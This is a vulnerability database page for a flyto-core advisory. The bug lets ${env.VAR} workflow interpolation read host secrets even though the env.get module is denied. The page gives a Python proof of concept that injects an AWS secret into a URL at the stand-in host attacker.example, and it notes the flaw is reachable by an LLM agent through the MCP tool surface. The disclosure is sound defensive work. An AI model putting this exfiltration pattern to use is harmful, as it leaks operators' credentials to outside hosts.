Hoch

Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted

  • Veröffentlicht: 30.07.2026
  • Aktualisiert: 11.10.2026 14:19

Summary

The capability policy denies the env.get and env.load_dotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.

Affected code

src/core/engine/variable_resolver.py:

python
if var_type == 'env':
    if len(parts) < 2:
        return None
    env_var = parts[1]
    return os.getenv(env_var)      # any env var, no allowlist, not covered by module policy

The module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.

Reproduction

Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py.

python
#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"

from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver

print("env.get allowed?       ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL:  ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))

Output:

env.get allowed?        False
resolve ${env.SECRET}:  AKIA-operator-super-secret-DO-NOT-LEAK
into an attacker URL:   https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK

env.get is denied, yet ${env.AWS_SECRET_ACCESS_KEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWS_SECRET_ACCESS_KEY}" resolved to the secret and returned it in the workflow result (in plaintext — the trace redaction did not mask it).

Reachability (why this is not operator self-service)

The vendor denies env.get by default and states the reason inline — reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. ${env.*} gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on — not intended behavior.

Impact

Read any host environment variable — cloud keys, tokens, DSNs — that the operator relied on the env.get denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker's public host). Reachable via the workflow API and the MCP agent surface.

Suggested fix

Apply the same policy to ${env.*} as to the env.get module: gate it behind an explicit allowlist of permitted variable names and deny by default when env.get is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop ${env.*} and require env values to be passed in explicitly at workflow start.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) flyto-core < 2.26.7 2.26.7

Verweise

CVSS-Wert 8.6/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Schwäche (CWE)
CWE-522, CWE-668, CWE-693
Plattform
Python (PyPI)
Paket
flyto-core
Veröffentlicht
30.07.2026
Aktualisiert
11.10.2026 14:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3570 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-hr7p-wg7r-hg9m - CC BY 4.0

Schwachstellenhistorie: flyto-core

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
8
Erste → letzte
07.2026 07.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 6

Veröffentlichungen pro Jahr

  1. 2026: 8
  1. Hoch · 8.6 CVE-2026-67425 < 2.26.7 2.26.7
  2. Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted dieser Eintrag
    Hoch · 8.6 CVE-2026-67427 < 2.26.7 2.26.7
  3. Hoch · 8.4 CVE-2026-55786 >= 2.26.2, < 2.26.4 2.26.4

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.